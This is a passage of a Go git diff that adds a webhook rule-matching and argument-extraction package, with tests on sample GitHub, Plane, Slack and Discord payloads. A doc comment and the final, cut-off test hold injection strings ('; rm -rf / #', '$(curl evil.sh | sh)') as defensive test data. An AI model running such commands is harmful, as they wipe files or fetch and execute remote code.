+		deps := testDeps(cfg, runtime.NewFake(), newFakeRunner().run)
+		b, err := deps.Store.Create(beads.Bead{Title: "work", Type: "task", Status: "open"})
+		if err != nil {
+			t.Fatal(err)
+		}
+		return deps, b.ID
+	}
+
+	t.Run("on-formula success", func(t *testing.T) {
+		deps, beadID := newDeps(t)
+		a := config.Agent{Name: "mayor", MaxActiveSessions: intPtr(1)}
+		result, err := DoSling(SlingOpts{Target: a, BeadOrFormula: beadID, OnFormula: "code-review"}, deps, deps.Store)
+		if err != nil {
+			t.Fatalf("DoSling on-formula: %v", err)
+		}
+		if result.Method != "on-formula" {
+			t.Errorf("Method = %q, want on-formula", result.Method)
+		}
+		if result.FormulaName != "code-review" {
+			t.Errorf("FormulaName = %q, want code-review", result.FormulaName)
+		}
+		if result.WispRootID == "" {
+			t.Error("expected non-empty WispRootID")
+		}
+	})
+
+	t.Run("default-formula success", func(t *testing.T) {
+		deps, beadID := newDeps(t)
+		a := config.Agent{Name: "mayor", MaxActiveSessions: intPtr(1), DefaultSlingFormula: stringPtr("code-review")}
+		result, err := DoSling(SlingOpts{Target: a, BeadOrFormula: beadID}, deps, deps.Store)
+		if err != nil {
+			t.Fatalf("DoSling default-formula: %v", err)
+		}
+		if result.Method != "default-on-formula" {
+			t.Errorf("Method = %q, want default-on-formula", result.Method)
+		}
+		if result.FormulaName != "code-review" {
+			t.Errorf("FormulaName = %q, want code-review", result.FormulaName)
+		}
+		if result.WispRootID == "" {
+			t.Error("expected non-empty WispRootID")
+		}
+	})
+
+	t.Run("on-formula error label", func(t *testing.T) {
+		deps, beadID := newDeps(t)
+		a := config.Agent{Name: "mayor", MaxActiveSessions: intPtr(1)}
+		_, err := DoSling(SlingOpts{Target: a, BeadOrFormula: beadID, OnFormula: "nonexistent-formula"}, deps, deps.Store)
+		if err == nil {
+			t.Fatal("expected instantiation error for nonexistent on-formula")
+		}
+		if want := `instantiating formula "nonexistent-formula" on`; !strings.Contains(err.Error(), want) {
+			t.Errorf("error = %q, want prefix %q", err.Error(), want)
+		}
+	})
+
+	t.Run("default-formula error label", func(t *testing.T) {
+		deps, beadID := newDeps(t)
+		a := config.Agent{Name: "mayor", MaxActiveSessions: intPtr(1), DefaultSlingFormula: stringPtr("nonexistent-formula")}
+		_, err := DoSling(SlingOpts{Target: a, BeadOrFormula: beadID}, deps, deps.Store)
+		if err == nil {
+			t.Fatal("expected instantiation error for nonexistent default formula")
+		}
+		if want := `instantiating default formula "nonexistent-formula" on`; !strings.Contains(err.Error(), want) {
+			t.Errorf("error = %q, want prefix %q", err.Error(), want)
+		}
+	})
+}
diff --git a/internal/storehealth/storehealth.go b/internal/storehealth/storehealth.go
index acc7ea759d..0acf0bdc04 100644
--- a/internal/storehealth/storehealth.go
+++ b/internal/storehealth/storehealth.go
@@ -11,9 +11,12 @@ package storehealth
 import (
 	"io/fs"
 	"path/filepath"
+	"strings"
 	"time"
 
+	"github.com/gastownhall/gascity/internal/beads/contract"
 	"github.com/gastownhall/gascity/internal/events"
+	"github.com/gastownhall/gascity/internal/fsys"
 )
 
 // DefaultThresholdMB is the MB-per-row threshold above which maintenance
@@ -39,6 +42,12 @@ type Health struct {
 // StorePath returns the canonical on-disk location of the Dolt store
 // for a city rooted at cityPath.
 func StorePath(cityPath string) string {
+	metaPath := filepath.Join(cityPath, ".beads", "metadata.json")
+	if state, ok, err := contract.LoadMetadataState(fsys.OSFS{}, metaPath); err == nil && ok {
+		if strings.EqualFold(strings.TrimSpace(state.Backend), "doltlite") {
+			return filepath.Join(cityPath, ".beads", "doltlite")
+		}
+	}
 	return filepath.Join(cityPath, ".beads", "dolt")
 }
 
diff --git a/internal/storehealth/storehealth_test.go b/internal/storehealth/storehealth_test.go
index 8f6210c61c..870ca572ca 100644
--- a/internal/storehealth/storehealth_test.go
+++ b/internal/storehealth/storehealth_test.go
@@ -18,6 +18,23 @@ func TestStorePath(t *testing.T) {
 	}
 }
 
+func TestStorePath_DoltliteMetadata(t *testing.T) {
+	cityPath := t.TempDir()
+	beadsDir := filepath.Join(cityPath, ".beads")
+	if err := os.MkdirAll(beadsDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(beadsDir, "metadata.json"), []byte(`{"backend":"doltlite","database":"doltlite","dolt_database":"hq"}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	got := StorePath(cityPath)
+	want := filepath.Join(cityPath, ".beads", "doltlite")
+	if got != want {
+		t.Fatalf("StorePath = %q, want %q", got, want)
+	}
+}
+
 func TestComputeWarningHighRatio(t *testing.T) {
 	// 11.2 GB (decimal) / 221 rows = ~50.68 MB/row, warning.
 	const size = 11_200_000_000
diff --git a/internal/testenv/lint_test.go b/internal/testenv/lint_test.go
index dbb0789019..d60b2dee59 100644
--- a/internal/testenv/lint_test.go
+++ b/internal/testenv/lint_test.go
@@ -41,7 +41,7 @@ func TestRequiresDedicatedTestenvImportFile(t *testing.T) {
 			return err
 		}
 		if d.IsDir() {
-			if skipRepoLintDir(d.Name()) {
+			if skipRepoLintDir(d.Name()) || (path != root && isNestedWorktreeRoot(path)) {
 				return filepath.SkipDir
 			}
 			return nil
@@ -175,7 +175,7 @@ func TestNoLeakVectorReadsAtPackageInit(t *testing.T) {
 			return err
 		}
 		if d.IsDir() {
-			if skipRepoLintDir(d.Name()) {
+			if skipRepoLintDir(d.Name()) || (path != root && isNestedWorktreeRoot(path)) {
 				return filepath.SkipDir
 			}
 			return nil
@@ -238,6 +238,16 @@ func skipRepoLintDir(name string) bool {
 	return name == "worktrees" || strings.HasPrefix(name, "worktree-")
 }
 
+// isNestedWorktreeRoot reports whether path is the root of a linked git
+// worktree checked out inside this tree. Linked worktrees have a .git FILE
+// (a "gitdir: ..." pointer) rather than a .git directory, so this catches
+// worktrees regardless of naming convention — unlike the name-based checks
+// in skipRepoLintDir above, which only catch "worktrees"/"worktree-*" names.
+func isNestedWorktreeRoot(path string) bool {
+	info, err := os.Lstat(filepath.Join(path, ".git"))
+	return err == nil && !info.IsDir()
+}
+
 // repoRoot returns the repository root by asking git. Falls back to walking up
 // from this file looking for go.mod if git is unavailable.
 func repoRoot(t *testing.T) string {
diff --git a/internal/webhookmatch/doc.go b/internal/webhookmatch/doc.go
new file mode 100644
index 0000000000..1e86445cdd
--- /dev/null
+++ b/internal/webhookmatch/doc.go
@@ -0,0 +1,69 @@
+// Package webhookmatch maps a verified webhook delivery to a dispatch target.
+//
+// It is the E5 stage of the supervisor webhook receiver: pure match + arg
+// extraction, with no HTTP, no goroutines, no config-file IO, and no dispatch.
+// The receiver verifies a delivery (E4), parses its JSON body, and hands this
+// package the resolved event type, delivery metadata, the parsed body, and the
+// webhook's ordered [config.WebhookRule] list. This package answers two
+// questions and nothing more:
+//
+//  1. Which rule (if any) does this delivery match? — [Match]
+//  2. What named args does that rule extract from the body? — the returned
+//     [MatchResult.Vars]
+//
+// The order/conversation sink split (E6/E7) is downstream; [Match] carries the
+// rule's Target through so the caller can route, but never dispatches.
+//
+// # Match semantics
+//
+// Rules are evaluated in declaration order; the first match wins (TOML order is
+// significant, exactly as the github-intake matching_rules prototype behaves).
+// A rule matches when both hold:
+//
+//   - Event: rule.Event equals the delivery EventType, or rule.Event is the
+//     wildcard "*" (any event).
+//   - Match: every entry of rule.Match holds. A key is a dotted path into the
+//     body (e.g. "action", "pull_request.state", "issue.labels.0.name"); the
+//     value at that path is coerced to a string and compared to the expected
+//     string. A missing path never matches (and never panics). Comparison is
+//     exact-equality by default, with two minimal, predictable extensions and
+//     no regex/injection surface:
+//   - expected "*" matches any present value (presence check);
+//   - expected ending in "*" (e.g. "status/*") is a literal prefix match
+//     via strings.HasPrefix over the text before the star.
+//
+// # Extraction syntax
+//
+// Each rule.Args entry maps an arg name to a value template. A template is
+// literal text with zero or more "{{ token }}" placeholders (the github-intake
+// {{payload.path}} scheme). Whitespace inside the braces is trimmed. A token
+// resolves as:
+//
+//   - "@event"           -> the delivery EventType
+//   - "@delivery"/"@dedup" -> the delivery DedupID
+//   - "@identity"        -> the verified Identity (jwt-jwks subject, else empty)
+//   - any other token    -> a dotted path into the body, coerced to a string
+//
+// A missing body path or unknown "@" token resolves to the empty string (the
+// reference render_template's behavior); an unterminated "{{" is emitted
+// literally. Values are coerced deterministically: strings verbatim, JSON
+// numbers by their exact source text (body is parsed with UseNumber, so
+// pull_request.number renders "1347", not "1347.000000"), bools as
+// "true"/"false", JSON null as "", and nested objects/arrays as their compact
+// JSON encoding. The arg names come from operator-installed pack TOML, but the
+// values come from the untrusted payload — so an extracted value is always an
+// opaque string. It is never re-interpreted as a path, template, or command; a
+// value of "$(id)" or "; rm -rf /" is just those literal bytes.
+//
+// # R4 — arg namespacing + reserved-key guard (security review)
+//
+// [MatchResult.Vars] is keyed by the raw declared arg name, which is the order
+// param namespace consumed by orders.Order.MissingRequiredParams and by the
+// formula ExpandVars channel. For the exec-env overlay (where an un-namespaced
+// key could shadow a controller-owned variable like GC_CITY), the caller must
+// route vars through [ExecEnvVars], which prefixes every key with
+// [ExecEnvArgPrefix] so a payload can never inject a control key. As a second
+// line of defense, config.ValidateWebhooks rejects a rule arg whose name is a
+// reserved controller env key at load time, and [Match] additionally skips any
+// such name during extraction.
+package webhookmatch
diff --git a/internal/webhookmatch/extract.go b/internal/webhookmatch/extract.go
new file mode 100644
index 0000000000..3ac497816b
--- /dev/null
+++ b/internal/webhookmatch/extract.go
@@ -0,0 +1,119 @@
+package webhookmatch
+
+import (
+	"fmt"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/orders"
+)
+
+// ExecEnvArgPrefix namespaces webhook-extracted args when they are overlaid onto
+// an exec order's environment. Prefixing every key makes it structurally
+// impossible for a payload-derived arg to shadow a controller-owned variable
+// (GC_CITY, BEADS_DIR, ...): the reserved keys never begin with this prefix.
+const ExecEnvArgPrefix = "GC_WEBHOOK_ARG_"
+
+// ExecEnvKey returns the exec-env variable name for a raw arg name.
+func ExecEnvKey(argName string) string {
+	return ExecEnvArgPrefix + argName
+}
+
+// ExecEnvVars returns a copy of vars with every key namespaced via
+// [ExecEnvArgPrefix], for overlaying onto an exec order's environment. It
+// returns nil for an empty input. The order sink (E6) must route exec-env vars
+// through this rather than overlaying the raw [MatchResult.Vars], so a payload
+// can never inject a control key. The raw vars are still handed to the formula
+// ExpandVars channel and to Order.MissingRequiredParams, which key on the
+// declared param name.
+func ExecEnvVars(vars map[string]string) map[string]string {
+	if len(vars) == 0 {
+		return nil
+	}
+	out := make(map[string]string, len(vars))
+	for k, v := range vars {
+		out[ExecEnvArgPrefix+k] = v
+	}
+	return out
+}
+
+// extractArgs renders every rule.Args template against the delivery, returning
+// the raw-named vars map. A reserved controller env key is skipped as a second
+// line of defense — config.ValidateWebhooks rejects such an arg at load time, so
+// it should never reach here.
+func extractArgs(rule config.WebhookRule, input MatchInput) (map[string]string, error) {
+	if len(rule.Args) == 0 {
+		return nil, nil
+	}
+	vars := make(map[string]string, len(rule.Args))
+	for name, tmpl := range rule.Args {
+		if orders.IsReservedExecEnvKey(name) {
+			continue
+		}
+		val, err := renderTemplate(tmpl, input)
+		if err != nil {
+			return nil, fmt.Errorf("arg %q: %w", name, err)
+		}
+		vars[name] = val
+	}
+	if len(vars) == 0 {
+		return nil, nil
+	}
+	return vars, nil
+}
+
+// renderTemplate expands "{{ token }}" placeholders in tmpl, preserving literal
+// text. An unterminated "{{" is emitted literally (reference render_template
+// parity). Tokens resolve via [resolveToken].
+func renderTemplate(tmpl string, input MatchInput) (string, error) {
+	var b strings.Builder
+	rest := tmpl
+	for {
+		start := strings.Index(rest, "{{")
+		if start < 0 {
+			b.WriteString(rest)
+			return b.String(), nil
+		}
+		b.WriteString(rest[:start])
+		after := rest[start+2:]
+		end := strings.Index(after, "}}")
+		if end < 0 {
+			// No closing braces: emit the remainder verbatim and stop.
+			b.WriteString(rest[start:])
+			return b.String(), nil
+		}
+		token := strings.TrimSpace(after[:end])
+		val, err := resolveToken(token, input)
+		if err != nil {
+			return "", err
+		}
+		b.WriteString(val)
+		rest = after[end+2:]
+	}
+}
+
+// resolveToken resolves one template token to its string value. "@"-prefixed
+// tokens read verified delivery metadata; every other token is a dotted body
+// path. A missing body path or unknown metadata token resolves to "".
+func resolveToken(token string, input MatchInput) (string, error) {
+	if token == "" {
+		return "", nil
+	}
+	if meta, ok := strings.CutPrefix(token, "@"); ok {
+		switch meta {
+		case "event":
+			return input.EventType, nil
+		case "delivery", "dedup":
+			return input.DedupID, nil
+		case "identity":
+			return input.Identity, nil
+		default:
+			return "", nil
+		}
+	}
+	v, ok := resolvePath(input.Body, token)
+	if !ok {
+		return "", nil
+	}
+	return coerceToString(v)
+}
diff --git a/internal/webhookmatch/extract_test.go b/internal/webhookmatch/extract_test.go
new file mode 100644
index 0000000000..96332faf0c
--- /dev/null
+++ b/internal/webhookmatch/extract_test.go
@@ -0,0 +1,192 @@
+package webhookmatch
+
+import (
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+func TestRenderTemplate(t *testing.T) {
+	in := MatchInput{
+		EventType: "pull_request",
+		DedupID:   "delivery-42",
+		Identity:  "svc-plane",
+		Body: mustParse(t, `{
+			"repository": {"full_name": "octo/hello"},
+			"pull_request": {"number": 1347},
+			"draft": false,
+			"nested": {"obj": {"a": 1}}
+		}`),
+	}
+	cases := []struct {
+		tmpl string
+		want string
+	}{
+		{"{{repository.full_name}}", "octo/hello"},
+		{"{{pull_request.number}}", "1347"},
+		{"pr-{{pull_request.number}}", "pr-1347"},
+		{"{{repository.full_name}}#{{pull_request.number}}", "octo/hello#1347"},
+		{"{{ repository.full_name }}", "octo/hello"}, // inner whitespace trimmed
+		{"literal only", "literal only"},
+		{"", ""},
+		{"{{draft}}", "false"},
+		{"{{missing.path}}", ""},       // missing -> empty
+		{"a{{missing}}b", "ab"},        // missing between literals
+		{"{{@event}}", "pull_request"}, // metadata tokens
+		{"{{@delivery}}", "delivery-42"},
+		{"{{@dedup}}", "delivery-42"},
+		{"{{@identity}}", "svc-plane"},
+		{"{{@unknown}}", ""},                 // unknown metadata token -> empty
+		{"{{nested.obj}}", `{"a":1}`},        // nested object -> compact JSON
+		{"{{unterminated", "{{unterminated"}, // no closing braces -> literal
+		{"ok {{unterminated", "ok {{unterminated"},
+	}
+	for _, tc := range cases {
+		got, err := renderTemplate(tc.tmpl, in)
+		if err != nil {
+			t.Errorf("renderTemplate(%q): %v", tc.tmpl, err)
+			continue
+		}
+		if got != tc.want {
+			t.Errorf("renderTemplate(%q) = %q, want %q", tc.tmpl, got, tc.want)
+		}
+	}
+}
+
+func TestExecEnvVars(t *testing.T) {
+	if got := ExecEnvVars(nil); got != nil {
+		t.Errorf("ExecEnvVars(nil) = %v, want nil", got)
+	}
+	got := ExecEnvVars(map[string]string{"repo": "octo/hello", "pr": "1347"})
+	if got["GC_WEBHOOK_ARG_repo"] != "octo/hello" || got["GC_WEBHOOK_ARG_pr"] != "1347" {
+		t.Errorf("ExecEnvVars = %v", got)
+	}
+	if ExecEnvKey("repo") != "GC_WEBHOOK_ARG_repo" {
+		t.Errorf("ExecEnvKey(repo) = %q", ExecEnvKey("repo"))
+	}
+}
+
+// planeIssueCreated is a trimmed Plane issue-created webhook (the first-consumer
+// order-sink target: backlog-patrol).
+const planeIssueCreated = `{
+  "event": "issue",
+  "action": "created",
+  "workspace_id": "ws_abc123",
+  "data": {"id": "iss_987", "name": "Fix the thing", "priority": "high"}
+}`
+
+func TestMatch_PlaneIssueCreated_OrderSink(t *testing.T) {
+	rule := config.WebhookRule{
+		Event: "issue",
+		Match: map[string]string{"action": "created"},
+		Order: "backlog-patrol",
+		Args: map[string]string{
+			"workspace": "{{workspace_id}}",
+			"issue":     "{{data.id}}",
+		},
+	}
+	in := MatchInput{EventType: "issue", DedupID: "plane-1", Body: mustParse(t, planeIssueCreated)}
+	res, ok, err := Match(in, []config.WebhookRule{rule})
+	if err != nil || !ok {
+		t.Fatalf("Match ok=%v err=%v", ok, err)
+	}
+	if res.Target != "order" || res.Order != "backlog-patrol" {
+		t.Errorf("target/order = %q/%q, want order/backlog-patrol", res.Target, res.Order)
+	}
+	if res.Vars["workspace"] != "ws_abc123" || res.Vars["issue"] != "iss_987" {
+		t.Errorf("vars = %v", res.Vars)
+	}
+}
+
+// slackMessageEvent is a trimmed Slack Events API message callback (conversation
+// sink). Args still extract; E6/E7 decides the sink from Target.
+const slackMessageEvent = `{
+  "type": "event_callback",
+  "team_id": "T012AB3CD",
+  "event": {
+    "type": "message",
+    "channel": "C0EAQDV4Z",
+    "user": "U061F7AUR",
+    "text": "hey @gc can you review this?",
+    "ts": "1355517523.000005",
+    "thread_ts": "1355517523.000004"
+  }
+}`
+
+func TestMatch_SlackMessage_ConversationSink(t *testing.T) {
+	rule := config.WebhookRule{
+		Event:  "message",
+		Match:  map[string]string{"event.type": "message"},
+		Target: "conversation",
+		Args: map[string]string{
+			"channel": "{{event.channel}}",
+			"thread":  "{{event.thread_ts}}",
+			"text":    "{{event.text}}",
+		},
+	}
+	in := MatchInput{EventType: "message", DedupID: "Ev0PV52K21", Body: mustParse(t, slackMessageEvent)}
+	res, ok, err := Match(in, []config.WebhookRule{rule})
+	if err != nil || !ok {
+		t.Fatalf("Match ok=%v err=%v", ok, err)
+	}
+	if res.Target != "conversation" {
+		t.Fatalf("target = %q, want conversation", res.Target)
+	}
+	if res.Order != "" {
+		t.Errorf("order = %q, want empty for conversation rule", res.Order)
+	}
+	want := map[string]string{
+		"channel": "C0EAQDV4Z",
+		"thread":  "1355517523.000004",
+		"text":    "hey @gc can you review this?",
+	}
+	for k, v := range want {
+		if res.Vars[k] != v {
+			t.Errorf("vars[%q] = %q, want %q", k, res.Vars[k], v)
+		}
+	}
+}
+
+// discordInteraction is a trimmed Discord APPLICATION_COMMAND interaction
+// (type 2) — a "/gc fix" slash command routed to the conversation sink.
+const discordInteraction = `{
+  "type": 2,
+  "id": "1043730023456789012",
+  "channel_id": "1030662936234567890",
+  "guild_id": "1030662936000000000",
+  "data": {"name": "gc", "options": [{"name": "fix", "value": "flaky test"}]},
+  "member": {"user": {"id": "80351110224678912", "username": "octo"}}
+}`
+
+func TestMatch_DiscordInteraction_ConversationSink(t *testing.T) {
+	rule := config.WebhookRule{
+		Event:  "interaction",
+		Match:  map[string]string{"type": "2", "data.name": "gc"},
+		Target: "conversation",
+		Args: map[string]string{
+			"channel":     "{{channel_id}}",
+			"user":        "{{member.user.username}}",
+			"subcommand":  "{{data.options.0.name}}",
+			"delivery_id": "{{@delivery}}",
+		},
+	}
+	in := MatchInput{EventType: "interaction", DedupID: "1043730023456789012", Body: mustParse(t, discordInteraction)}
+	res, ok, err := Match(in, []config.WebhookRule{rule})
+	if err != nil || !ok {
+		t.Fatalf("Match ok=%v err=%v", ok, err)
+	}
+	if res.Target != "conversation" {
+		t.Fatalf("target = %q, want conversation", res.Target)
+	}
+	want := map[string]string{
+		"channel":     "1030662936234567890",
+		"user":        "octo",
+		"subcommand":  "fix",
+		"delivery_id": "1043730023456789012",
+	}
+	for k, v := range want {
+		if res.Vars[k] != v {
+			t.Errorf("vars[%q] = %q, want %q", k, res.Vars[k], v)
+		}
+	}
+}
diff --git a/internal/webhookmatch/match.go b/internal/webhookmatch/match.go
new file mode 100644
index 0000000000..012e6b3bbb
--- /dev/null
+++ b/internal/webhookmatch/match.go
@@ -0,0 +1,123 @@
+package webhookmatch
+
+import (
+	"fmt"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+// EventWildcard is the rule.Event value that matches any delivery event type.
+const EventWildcard = "*"
+
+// MatchInput is one verified delivery presented to the matcher. The receiver
+// populates it from the E4 [webhookverify.VerifyResult] plus the parsed body.
+// EventType is supplied by the caller — from the verified event header, or a
+// caller-derived value for schemes that carry the type in the payload; this
+// package does not read request headers.
+type MatchInput struct {
+	// EventType is the resolved provider event type (e.g. "pull_request").
+	EventType string
+	// DedupID is the stable per-delivery id, surfaced via the @delivery token.
+	DedupID string
+	// Identity is the verified principal (jwt-jwks subject), via @identity.
+	Identity string
+	// Body is the parsed JSON body. Build it with [ParseBody] so numbers keep
+	// their exact source text.
+	Body map[string]any
+}
+
+// MatchResult is the resolved dispatch intent for the first matching rule.
+type MatchResult struct {
+	// Rule is the matched rule, carried whole for the sink layer.
+	Rule config.WebhookRule
+	// RuleIndex is the matched rule's position in the input slice.
+	RuleIndex int
+	// Target is the normalized sink: "order" or "conversation". E6/E7 route on
+	// it; E5 only carries it through.
+	Target string
+	// Order is the target order name (empty for conversation rules).
+	Order string
+	// Rig optionally scopes the dispatched order.
+	Rig string
+	// Vars maps each declared arg name to its extracted string value, in the
+	// order-param namespace. Route through [ExecEnvVars] before overlaying an
+	// exec order's environment.
+	Vars map[string]string
+	// Reason is a short human-readable explanation of the match.
+	Reason string
+}
+
+// Match selects the first rule whose Event and Match predicate both hold for
+// input, extracts that rule's args, and returns the resolved [MatchResult]. The
+// second return is false when no rule matches (Reason on the zero result
+// explains why). An error is returned only when a matched rule's arg extraction
+// fails structurally (e.g. a value that cannot be encoded) — never for a plain
+// no-match or a missing payload path.
+func Match(input MatchInput, rules []config.WebhookRule) (MatchResult, bool, error) {
+	for i, rule := range rules {
+		if !eventMatches(rule.Event, input.EventType) {
+			continue
+		}
+		if !matchPredicate(rule.Match, input.Body) {
+			continue
+		}
+		vars, err := extractArgs(rule, input)
+		if err != nil {
+			return MatchResult{}, false, fmt.Errorf("webhookmatch: rule[%d]: %w", i, err)
+		}
+		return MatchResult{
+			Rule:      rule,
+			RuleIndex: i,
+			Target:    rule.TargetOrDefault(),
+			Order:     rule.Order,
+			Rig:       rule.Rig,
+			Vars:      vars,
+			Reason:    fmt.Sprintf("rule[%d] matched event %q", i, rule.Event),
+		}, true, nil
+	}
+	return MatchResult{Reason: fmt.Sprintf("no rule matched event %q", input.EventType)}, false, nil
+}
+
+// eventMatches reports whether a rule's Event selector matches the delivery
+// event type: the "*" wildcard matches any event, otherwise exact equality.
+func eventMatches(ruleEvent, eventType string) bool {
+	re := strings.TrimSpace(ruleEvent)
+	if re == EventWildcard {
+		return true
+	}
+	return re == eventType
+}
+
+// matchPredicate reports whether every dotted-path entry in match holds against
+// body. A missing path never matches. An empty/nil match map is vacuously true.
+func matchPredicate(match map[string]string, body map[string]any) bool {
+	for path, expected := range match {
+		actual, ok := resolvePath(body, path)
+		if !ok {
+			return false
+		}
+		s, err := coerceToString(actual)
+		if err != nil {
+			return false
+		}
+		if !valueMatches(s, expected) {
+			return false
+		}
+	}
+	return true
+}
+
+// valueMatches compares a coerced payload value against an expected match value.
+// It is deliberately minimal and injection-free: "*" is a presence check (the
+// path already resolved), a trailing "*" is a literal prefix match, and every
+// other value is exact string equality.
+func valueMatches(actual, expected string) bool {
+	if expected == EventWildcard {
+		return true
+	}
+	if strings.HasSuffix(expected, EventWildcard) {
+		return strings.HasPrefix(actual, strings.TrimSuffix(expected, EventWildcard))
+	}
+	return actual == expected
+}
diff --git a/internal/webhookmatch/match_test.go b/internal/webhookmatch/match_test.go
new file mode 100644
index 0000000000..0d71aa23f0
--- /dev/null
+++ b/internal/webhookmatch/match_test.go
@@ -0,0 +1,250 @@
+package webhookmatch
+
+import (
+	"strings"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+// githubPROpened is a trimmed capture of a real GitHub pull_request "opened"
+// delivery: the fields a rule realistically matches and extracts, nothing more.
+const githubPROpened = `{
+  "action": "opened",
+  "number": 1347,
+  "pull_request": {
+    "number": 1347,
+    "state": "open",
+    "draft": false,
+    "title": "Add widget",
+    "html_url": "https://github.com/octo/hello/pull/1347",
+    "user": {"login": "octocat"}
+  },
+  "label": {"name": "status/needs-review"},
+  "repository": {
+    "id": 8675309,
+    "name": "hello",
+    "full_name": "octo/hello",
+    "owner": {"login": "octo"}
+  },
+  "sender": {"login": "octocat"}
+}`
+
+func githubPRRule() config.WebhookRule {
+	return config.WebhookRule{
+		Event: "pull_request",
+		Match: map[string]string{"action": "opened"},
+		Order: "pr-review-request",
+		Rig:   "maintainer",
+		Args: map[string]string{
+			"repo":   "{{repository.full_name}}",
+			"pr":     "{{pull_request.number}}",
+			"action": "{{action}}",
+		},
+	}
+}
+
+func TestMatch_GitHubPROpened(t *testing.T) {
+	in := MatchInput{
+		EventType: "pull_request",
+		DedupID:   "72d3162e-cc78-11e3-81ab-4c9367dc0958",
+		Body:      mustParse(t, githubPROpened),
+	}
+	res, ok, err := Match(in, []config.WebhookRule{githubPRRule()})
+	if err != nil {
+		t.Fatalf("Match: %v", err)
+	}
+	if !ok {
+		t.Fatalf("Match: no match, want pr-review-request (%s)", res.Reason)
+	}
+	if res.Order != "pr-review-request" || res.Rig != "maintainer" {
+		t.Errorf("order/rig = %q/%q, want pr-review-request/maintainer", res.Order, res.Rig)
+	}
+	if res.Target != "order" {
+		t.Errorf("target = %q, want order (default)", res.Target)
+	}
+	want := map[string]string{"repo": "octo/hello", "pr": "1347", "action": "opened"}
+	for k, v := range want {
+		if res.Vars[k] != v {
+			t.Errorf("vars[%q] = %q, want %q", k, res.Vars[k], v)
+		}
+	}
+}
+
+// A delivery whose event matches but a Match entry fails does not match.
+func TestMatch_EventMatchesButPredicateFails(t *testing.T) {
+	rule := config.WebhookRule{
+		Event: "pull_request",
+		Match: map[string]string{"action": "closed"}, // payload is "opened"
+		Order: "pr-review-request",
+	}
+	in := MatchInput{EventType: "pull_request", Body: mustParse(t, githubPROpened)}
+	if _, ok, err := Match(in, []config.WebhookRule{rule}); err != nil || ok {
+		t.Fatalf("Match ok=%v err=%v, want no match", ok, err)
+	}
+}
+
+// A Match entry on a path absent from the body never matches (and never panics).
+func TestMatch_MissingMatchPathNeverMatches(t *testing.T) {
+	rule := config.WebhookRule{
+		Event: "pull_request",
+		Match: map[string]string{"pull_request.merged": "true"}, // no such field
+		Order: "o",
+	}
+	in := MatchInput{EventType: "pull_request", Body: mustParse(t, githubPROpened)}
+	if _, ok, _ := Match(in, []config.WebhookRule{rule}); ok {
+		t.Fatal("missing match path matched, want no match")
+	}
+}
+
+// The event type must match; a rule for a different event is skipped.
+func TestMatch_EventTypeMismatch(t *testing.T) {
+	in := MatchInput{EventType: "issues", Body: mustParse(t, githubPROpened)}
+	if _, ok, _ := Match(in, []config.WebhookRule{githubPRRule()}); ok {
+		t.Fatal("pull_request rule matched an issues delivery")
+	}
+}
+
+// The "*" event wildcard matches any delivery event type.
+func TestMatch_EventWildcard(t *testing.T) {
+	rule := config.WebhookRule{Event: "*", Order: "catch-all"}
+	in := MatchInput{EventType: "anything", Body: mustParse(t, `{}`)}
+	res, ok, err := Match(in, []config.WebhookRule{rule})
+	if err != nil || !ok {
+		t.Fatalf("wildcard Match ok=%v err=%v", ok, err)
+	}
+	if res.Order != "catch-all" {
+		t.Errorf("order = %q, want catch-all", res.Order)
+	}
+}
+
+// First matching rule wins; a broader rule declared earlier shadows a later one.
+func TestMatch_FirstRuleWins(t *testing.T) {
+	rules := []config.WebhookRule{
+		{Event: "pull_request", Match: map[string]string{"action": "opened"}, Order: "first"},
+		{Event: "pull_request", Match: map[string]string{"action": "opened"}, Order: "second"},
+	}
+	in := MatchInput{EventType: "pull_request", Body: mustParse(t, githubPROpened)}
+	res, ok, err := Match(in, rules)
+	if err != nil || !ok {
+		t.Fatalf("Match ok=%v err=%v", ok, err)
+	}
+	if res.Order != "first" || res.RuleIndex != 0 {
+		t.Errorf("order=%q index=%d, want first/0", res.Order, res.RuleIndex)
+	}
+}
+
+// A more specific earlier rule is skipped when it fails, and a later general
+// rule still matches — proving evaluation continues past a non-matching rule.
+func TestMatch_FallsThroughToLaterRule(t *testing.T) {
+	rules := []config.WebhookRule{
+		{Event: "pull_request", Match: map[string]string{"action": "closed"}, Order: "on-close"},
+		{Event: "pull_request", Match: map[string]string{"action": "opened"}, Order: "on-open"},
+	}
+	in := MatchInput{EventType: "pull_request", Body: mustParse(t, githubPROpened)}
+	res, ok, _ := Match(in, rules)
+	if !ok || res.Order != "on-open" || res.RuleIndex != 1 {
+		t.Fatalf("res=%+v ok=%v, want on-open/1", res, ok)
+	}
+}
+
+// Prefix (trailing "*") and presence ("*") match extensions.
+func TestMatch_PrefixAndPresence(t *testing.T) {
+	body := mustParse(t, `{"action":"labeled","label":{"name":"status/needs-review"},"ref":"refs/heads/main"}`)
+	cases := []struct {
+		name  string
+		match map[string]string
+		want  bool
+	}{
+		{"exact", map[string]string{"label.name": "status/needs-review"}, true},
+		{"prefix hit", map[string]string{"label.name": "status/*"}, true},
+		{"prefix miss", map[string]string{"label.name": "kind/*"}, false},
+		{"presence hit", map[string]string{"label.name": "*"}, true},
+		{"presence miss (absent path)", map[string]string{"assignee.login": "*"}, false},
+		{"ref prefix", map[string]string{"ref": "refs/heads/*"}, true},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			rule := config.WebhookRule{Event: "*", Match: tc.match, Order: "o"}
+			_, ok, _ := Match(MatchInput{EventType: "e", Body: body}, []config.WebhookRule{rule})
+			if ok != tc.want {
+				t.Errorf("match %v = %v, want %v", tc.match, ok, tc.want)
+			}
+		})
+	}
+}
+
+// R4: a payload value that looks like a shell/command injection is extracted as
+// an inert literal string, and lands under the GC_WEBHOOK_ARG_ namespace when
+// routed through ExecEnvVars.
+func TestMatch_MaliciousPayloadValueIsInertLiteral(t *testing.T) {
+	evil := `; rm -rf / #`
+	subst := `$(curl evil.sh | sh)`
+	huge := strings.Repeat("A", 100000)
+	body := map[string]any{
+		"action": "opened",
+		"attacker": map[string]any{
+			"cmd":   evil,
+			"subst": subst,
